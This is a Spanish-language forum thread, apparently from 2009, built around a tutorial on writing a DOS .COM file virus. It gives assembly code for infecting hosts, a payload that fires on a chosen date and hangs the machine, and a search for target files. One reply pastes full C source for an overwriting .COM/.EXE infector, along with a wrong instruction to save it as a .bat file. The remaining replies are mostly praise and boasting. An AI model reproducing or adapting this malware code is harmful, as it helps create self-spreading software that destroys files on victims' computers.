Como hacer un virus en 6 cap.

Tema en 'Guías y Tutoriales' iniciado por Hotmail, 21 Jun 2009.

  1. Hot

    Hotmail
    Expand Collapse
    Teniente Coronel

    Mensajes:
    1.175
    Me Gusta recibidos:
    9
    Como Hacer un Virus [6 Capítulos]

    Cool Como Hacer un Virus [6 Capítulos]
    ¿COMO HACER UN VIRUS?

    Empezaremos por contaminar archivos com, ¿que qué diferencia hay
    entre archivos com y exe? pues fácil, si os habéis fijado los archivos
    com ocupan como máximo 65 kbytes y pico. ¿qué porque es así? , pues porque
    los com se cargan en un único segmento de memoria. Y no me vengáis
    diciendo que el command.com del windows 95 tiene más porque aunque tiene
    extensión com es un archivo exe (es un exe camuflado je,je,je )
    Los exe's utilizan un cabecera con información acerca del tamaño del
    archivo, la posición inicial para empezar a ejecutar el file la posición
    del stack y demás choradas necesarias para cargarlo en varios segmentos
    de memoria.El inicio de dicha cabecera es MZ ¿que porque esa marca?
    ,yo que sé ,yo no creé la estructura de los exe's, de alguna manera los
    tenían que marcar.
    Bueno la verdad es que lo que realmente diferencia un
    exe de un com es esa marca , la extensión simplemente sirve para que
    el DOS sepa que ejecutar primero com->exe->bat.
    El virus que vamos a hacer no será residente por lo que
    es bastante sencillo .Contamina en un único directorio
    por lo que además de ser sencillo tendrá una infección prácticamente
    patética. Pero bueno es pa ke entendáis el rollo este de los com.
    La contaminación de los com's se puede hacer añadiendo el código del
    virus al principio del hoste(programa infectado) pero no es recomendable
    por cuestiones de rapidez, por lo que lo bonito es quitar los 3 primeros
    bytes del archivo (guardarlos en el código del virus) poner en su lugar
    un jmp virus (es decir un salto incondicional al código del virus, que
    lo añadimos al final del hoste).Cuando acaba la ejecución del virus los
    3 bytes que habías guardado los restauramos al principio del virus y
    le pasamos el control al hoste. Fácil noooo???

    -----------------
    | jmp virus |
    -----------------
    | codigo del |
    | hoste |
    -----------------
    | virus: |
    | contamina |
    | recupera los |
    | 3 bytes |
    | originales y |
    | jmp hoste |
    -----------------

    Ahora que sabemos la teoría , tenemos que buscar una manera
    de marcar los archivos para no volverlos a contaminar infinitas veces.
    Como vamos a tener que poner un jmp al principio del hoste , pues
    este propio jmp funciona de marca de infección. El virus infectará
    a los archivos que no empiecen con un jmp.El código del jmp ocupa
    1 byte y la dirección a saltar con un byte ocupa 2 bytes
    1 byte del jmp + 2 bytes dirección = 3 bytes (lo que pillamos del hoste)

    Otra cosa. Al programar un virus lo que se hace normalmente es crear
    un archivo contaminado, en este caso nuestro hoste contaminado
    contendrá un jmp start (salto al principio del virus) y la int 20h
    para regresar al dos.


    longitud equ fin-start

    code segment 'code'
    assume cs:code,ds:code,es:code
    org 100h ;empiezo en 100 ya que es un com
    hoste: jmp start ;esto es un hoste simulado
    int 20h ;con esto salgo al DOS
    start: push bp
    call alli ; busco la ip de inicio
    alli: pop bp ; para que la variables no
    sub bp,offset alli ; aparezcan corridas :)


    Con esto lo que hacemos es definir la constante longitud como
    la diferencia entre dos etiquetas que hemos puesto al principio y al
    final del virus(obviamente) con lo que el linkador nos traducirá
    longitud como el tamaño del virus.
    El org 100h es para que el programa se carge en el offset 100h,
    los com's siempre se cargan en el offset 100h ya que tienen que dejar
    100h bytes para que el DOS guarde información sobre el programa
    esos 100h bytes forman lo que se llama el PSP.
    En el hoste meto un jmp start con lo que este archivo estará ya
    marcado como infectado.
    Ahora viene lo gracioso, que coño hace ese call ahí.Bueno ¿por qué
    un call? ¿acaso los call no són para llamar a procedimientos?
    ¿y el procedimiento?¿no veo ninguno?¿y la famosa instrucción ret
    para regresar del procedimiento tampoco la veo?
    Respuesta:
    No es una llamada a un procedimiento. Es simplemente una pirula
    para que se puedan direccionar las variables. ¿quéeee?. Si bueno
    no sé si si os habéis dado cuenta que el virus se añade al final
    del hoste con lo que en cada hoste las variables se encontrarán
    en diferente offset (el offset es una dirección dentro de un
    segmento , y un segmento es un bloque de memoria de 65536 bytes)
    Las referencias a variables ( como mov ax,variable)
    el linkador las traduce a un numero (mov ax,056f2h por ejemplo)
    Por esto es por lo que hay que inventarse una pirula para hallar
    el verdadero offset de las variables( en busca del offset perdido).
    Ahora bien que os parece si sumamos a cada referencia a variable
    el incremento del tamaño del hoste respecto al hoste ficticio que hemos
    creado,que lo podríamos tener almacenado en un registro como el bp
    (que no es muy usado). Ahora las referencias a variables quedarían así:
    mov ax,bp+variable
    No está mal el invento pero ¿cómo coño hallamos ese incremento
    que sufre el offset?.Ahora es cuando utilizamos las maravillosas
    cualidades del comando call.El comando call no sólo salta al comienzo
    del procedimiento sinó que apila la dirección de regreso para que
    luego utilizando la instrucción ret se pueda regresar a la posición
    desde la que fué llamada.Pero bueno, que preciosidad de comando
    ,pues yo ahora hago un call findoffset y en vez de enviar el control
    a un procedimiento utilizo el comando pop para desapilar la dirección
    apilada con el call. Pero la cosa no se queda ahí, ahora le resto
    a esa direccion (almacenada en bp) el offset de la etiqueta findoffset
    ahora acabamos de obtener el desplazamiento que sufriran las variables.

    NOTA:Las instrucciones offset algo el linkador las traduce por un
    número por lo que en cada archivo infectado 'offset findoffset'
    siempre será el mismo número.
    el offset de la etiqueta findoffset del archivo que vamos a crear.

    Si te fijas en el archivo que vamos a obtener el bp tomará el valor 0
    esto es correcto ya que en el archivo original no se produce ningun
    desplazamiento,respecto a su propio tamaño ; ).

    push cs
    push cs
    pop ds
    pop es
    push ax
    push bx
    push cx ; APILO LOS REGISTROS
    push dx
    push di
    push si

    Con esto ds y es se quedan con el valor de cs ya que trabajamos
    en un único segmento. Además apilo los registros para que no
    se modifique su valor.

    Ahora viene un punto muy importante en este virus es recuperar
    los 3 bytes originales.Esto lo hacemos antes de la contaminación
    ya que la variable cab_ORIG la sobreescribiremos en el proceso
    de infección.

    cld
    mov cx,3d ;en cx el numero de bytes a mover
    mov di,100h ;muevo de ds:si ->es:di
    lea si,bp+cab_ORIG ;es decir de la variable cab_ORIG a 100h
    rep movsb

    Ten en cuenta que sobreescribo estos 3 bytes en memoria el
    archivo contaminado siempre tendra tu jmp START.

    ************* Quien quiera pasar de esto que lo haga *******
    ************* es la activación del virus *******

    Se activa el 19 de Febrero mi Cumpleaños (que original).

    mov ah, 02h
    int 21h
    cmp dh, 2d ;compruebo si el mes es 2
    jne noactivo
    cmp dl, 19d ;compruebo si el dia es 19
    jne noactivo

    mov ax,0900h ;aparece el mensaje en pantalla
    lea dx,bp+mensaje ;si es 19 del 2 sino se salta a noactivo
    int 21h

    hlt ;cuelgo el ordenata

    noactivo:

    ************* Final de la activaci¢n *************************


    mov ah,4eh ;
    lea dx,bp+file_cont ;
    mov cx,00000000b ; BUSQUEDA DEL ARCHIVO
    int 21h ;

    con esto busco archivos que cumplan que tienen extensión com
    *.com . en ds:dx esta la dirección de la cadena '*.com'
    en ah la llamada a la función de busqueda y en cx los atributos.
    Es recomendable trabajar con una buena lista de interrupciones
    yo recomiendo personalmente la lista de Ralf Brown yo diría que
    sin duda es la mejor .
    Si la han quitado la podréis conseguir de la página de Cicatrix.
    Ojo a que ponemos bp+file_cont en vez de file_cont a secas.

    otro: mov ah,4fh
    int 21h
    jb salir ;salto si no quedan más archivos
    ;con extensión com

    mov ax, 3d00h ;abro el archivo para lectura
    mov dx, 009eh
    int 21h
    mov bx,ax ;guardo el handel



    Si es de su agrado solo agradezcan :arriba::arriba::arriba::arriba::arriba:
     
  2. Zek

    Zeker
    Expand Collapse
    Teniente Coronel

    Mensajes:
    1.507
    Me Gusta recibidos:
    2
    Esta buenisimo, pero ordenalo un poco más, la gente ve puras letras
    y no le va interesar, esto debe ir aca

    http://www.gametero.com/f14/

    :adios:

     
  3. Zip

    Zipo
    Expand Collapse
    Subteniente

    Mensajes:
    516
    Me Gusta recibidos:
    0
    MMMM ... yo me acuerdo que habia un metodo mas facil no recuerdo asi que es como si no valiera :D pero bueno excelente tutorial y Zeker tiene razon ponlo un poco mas llamativo sino puras letras no captas el interes :borracho:
     
  4. Don

    DonKan
    Expand Collapse
    Teniente Coronel
    Usuario destacado

    Mensajes:
    1.844
    Me Gusta recibidos:
    0
    mmmmm......!!! :pensando:

    Muii BuenoO el POST a :arriba:

    Ia me PonGo a Krear ViRuzZ :D

    Atte. ●€vilJairO● :mad:
     
  5. roa

    roal2
    Expand Collapse
    Subteniente

    Mensajes:
    405
    Me Gusta recibidos:
    0
    Muy Pero muy interesante:eek:ki:
    te felicito por tu post Se entiende muy bien
    Pero te recomiendo que pongas algunas imagenes ya que sirven para un mayor entendimiento .:wink:
     
  6. M4u

    M4uk
    Expand Collapse
    Teniente Coronel
    Usuario destacado

    Mensajes:
    1.451
    Me Gusta recibidos:
    0
    Haber creando el virus y haber si me sale...
     
  7. arg

    argomez
    Expand Collapse
    Recluta

    Mensajes:
    17
    Me Gusta recibidos:
    0
    mira yo en hacer virus no me gana nadie yo tengo hecho mas de 1500 virus de diferentes forma si kereis aprender mandarme una peticion de amistad y os dois mi msn y os aprendo
     
  8. MUA

    MUArkaniano
    Expand Collapse
    Recluta

    Mensajes:
    34
    Me Gusta recibidos:
    0
    man en ves de bardiar en que quien tiene mas creados, porque no aportas algo va mi forma de pensar es esa,
     
  9. and

    and99
    Expand Collapse
    Subteniente

    Mensajes:
    400
    Me Gusta recibidos:
    0
    Mira mejor aportas con las formas d crear los virus en vs d star diciendo kuantos as creado xD
     
  10. nah

    nahuel16
    Expand Collapse
    Recluta

    Mensajes:
    40
    Me Gusta recibidos:
    0
    mmm...si interezante :D

    aver si alguien se hace uno..
     
  11. arg

    argomez
    Expand Collapse
    Recluta

    Mensajes:
    17
    Me Gusta recibidos:
    0
    mira a ki dejo un un codico de virus:
    por si no sabe como se hace lo copiass en el bloc de notas los codicos de abajo y lo guarda como elnombre.bat-
    ten cuidado ke espotencialmente peligroso y lo unico ke puedes conseguir es kedarte sin pc com lo habras

    /* C-Virus: A generic .COM and .EXE infector

    Written by Nowhere Man

    Project started and completed on 6-24-91

    Written in Turbo C++ v1.00 (works fine with Turbo C v2.00, too)
    */


    #pragma inline // Compile to .ASM

    #include
    #include
    #include
    #include
    #include

    void hostile_activity(void);
    int infected(char *);
    void spread(char *, char *);
    void small_print(char *);
    char *victim(void);

    #define DEBUG
    #define ONE_KAY 1024 // 1k
    #define TOO_SMALL ((6 * ONE_KAY) + 300) // 6k+ size minimum
    #define SIGNATURE "NMAN" // Sign of infection

    int main(void)
    {
    /* The main program */

    spread(_argv[0], victim()); // Perform infection
    small_print("Out of memory\r\n"); // Print phony error
    return(1); // Fake failure...
    }

    void hostile_activity(void)
    {
    /* Put whatever you feel like doing here...I chose to
    make this part harmless, but if you're feeling
    nasty, go ahead and have some fun... */

    small_print("\a\a\aAll files infected. Mission complete.\r\n");
    exit(2);
    }

    int infected(char *fname)
    {
    /* This function determines if fname is infected */

    FILE *fp; // File handle
    char sig[5]; // Virus signature

    fp = fopen(fname, "rb");
    fseek(fp, 28L, SEEK_SET);
    fread(sig, sizeof(sig) - 1, 1, fp);
    #ifdef DEBUG
    printf("Signature for %s: %s\n", fname, sig);
    #endif
    fclose(fp);
    return(strncmp(sig, SIGNATURE, sizeof(sig) - 1) == 0);
    }

    void small_print(char *string)
    {
    /* This function is a small, quick print routine */

    asm {
    push si
    mov si,string
    mov ah,0xE
    }

    print: asm {
    lodsb
    or al,al
    je finish
    int 0x10
    jmp short print
    }
    finish: asm pop si
    }

    void spread(char *old_name, char *new_name)
    {
    /* This function infects new_name with old_name */


    /* Variable declarations */

    FILE *old, *new; // File handles
    struct ftime file_time; // Old file date,
    time
    int attrib; // Old attributes
    long old_size, virus_size; // Sizes of files
    char *virus_code = NULL; // Pointer to virus
    int old_handle, new_handle; // Handles for files


    /* Perform the infection */

    #ifdef DEBUG
    printf("Infecting %s with %s...\n", new_name, old_name);
    #endif
    old = fopen(old_name, "rb"); // Open virus
    new = fopen(new_name, "rb"); // Open victim
    old_handle = fileno(old); // Get file handles
    new_handle = fileno(new);
    old_size = filelength(new_handle); // Get old file size
    virus_size = filelength(old_handle); // Get virus size
    attrib = _chmod(new_name, 0); // Get old attributes
    getftime(new_handle, &file_time); // Get old file time
    fclose(new); // Close the virusee
    _chmod(new_name, 1, 0); // Clear any read-only
    unlink(new_name); // Erase old file
    new = fopen(new_name, "wb"); // Open new virus
    new_handle = fileno(new);
    virus_code = malloc(virus_size); // Allocate space
    fread(virus_code, virus_size, 1, old); // Read virus from old
    fwrite(virus_code, virus_size, 1, new); // Copy virus to new
    _chmod(new_name, 1, attrib); // Replace attributes
    chsize(new_handle, old_size); // Replace old size
    setftime(new_handle, &file_time); // Replace old time


    /* Clean up */

    fcloseall(); // Close files
    free(virus_code); // Free memory
    }

    char *victim(void)
    {
    /* This function returns the virus's next victim */


    /* Variable declarations */

    char *types[] = {"*.EXE", "*.COM"}; // Potential victims
    static struct ffblk ffblk; // DOS file block
    int done; // Indicates finish
    int index; // Used for loop


    /* Find our victim */

    if ((_argc > 1) && (fopen(_argv[1], "rb") != NULL))
    return(_argv[1]);

    for (index = 0; index < sizeof(types); index++) {
    done = findfirst(types[index], &ffblk, FA_RDONLY | FA_HIDDEN |
    FA_SYSTEM | FA_ARCH);
    while (!done) {
    #ifdef DEBUG
    printf("Scanning %s...\n", ffblk.ff_name);
    #endif
    /* If you want to check for specific days of the week,
    months, etc., here is the place to insert the
    code (don't forget to "#include "!) */

    if ((!infected(ffblk.ff_name)) && (ffblk.ff_fsize >
    TOO_SMALL))
    return(ffblk.ff_name);
    done = findnext(&ffblk);
    }
    }


    /* If there are no files left to infect, have a little fun... */

    hostile_activity();
    return(0); // Prevents warning
    }
     

Compartir esta página